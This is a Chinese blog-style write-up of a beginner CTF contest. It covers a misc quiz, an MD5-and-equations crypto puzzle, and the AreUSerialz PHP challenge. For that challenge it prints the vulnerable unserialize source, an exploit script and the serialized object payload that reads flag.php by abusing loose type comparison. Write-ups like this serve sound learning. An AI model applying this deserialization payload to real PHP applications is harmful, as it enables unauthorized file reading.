记录在签到杯的划水过程

这签到杯人均会re和pwn，我太难了，说到底还是自己太菜😭

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Misc

签到

答对15个题目后，提交自己的token，然后就能在控制台的network请求中发现flag。

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Crypto

boom

image-20200511222741038

首先解密md546e5efe6165a5afb361217446a2dbd01得到en5oy

image-20200511223026495

接着是一个三元一次方程组，丢到在线计算器解

image-20200511223331317

然后分别输进去

image-20200511223445091

来到第三关，是一个一元二次方程组，老样子，扔在线计算器解

image-20200511223722958

输进去，得到flag

image-20200511223814094

 

Web

AreUSerialz

源码

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<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

__destruct()会在反序列化的时候把op置为1，且对op的判断为强类型比较，但process中对op为弱类型比较，直接令op=2即可绕过（2==“2”）

exp：

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<?php

class FileHandler {
    public $op=2;
    public $filename="flag.php";
    public $content;
}

$str = serialize(new FileHandler());
 
echo urlencode($str);

?>

运行后得到

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O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

拼接起来，传入，flag在网页源代码里面

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?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

image-20200511234640146

 

最后

汽车协议和文言文编程属实不会，还有那啥虚幻2，吐了

嗯，就这样吧，继续加油

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#!/usr/bin/env python3
#-*- coding:utf-8 -*-

from qq import flag as py
for i in range(18):
	print(py, end='微信收款5元')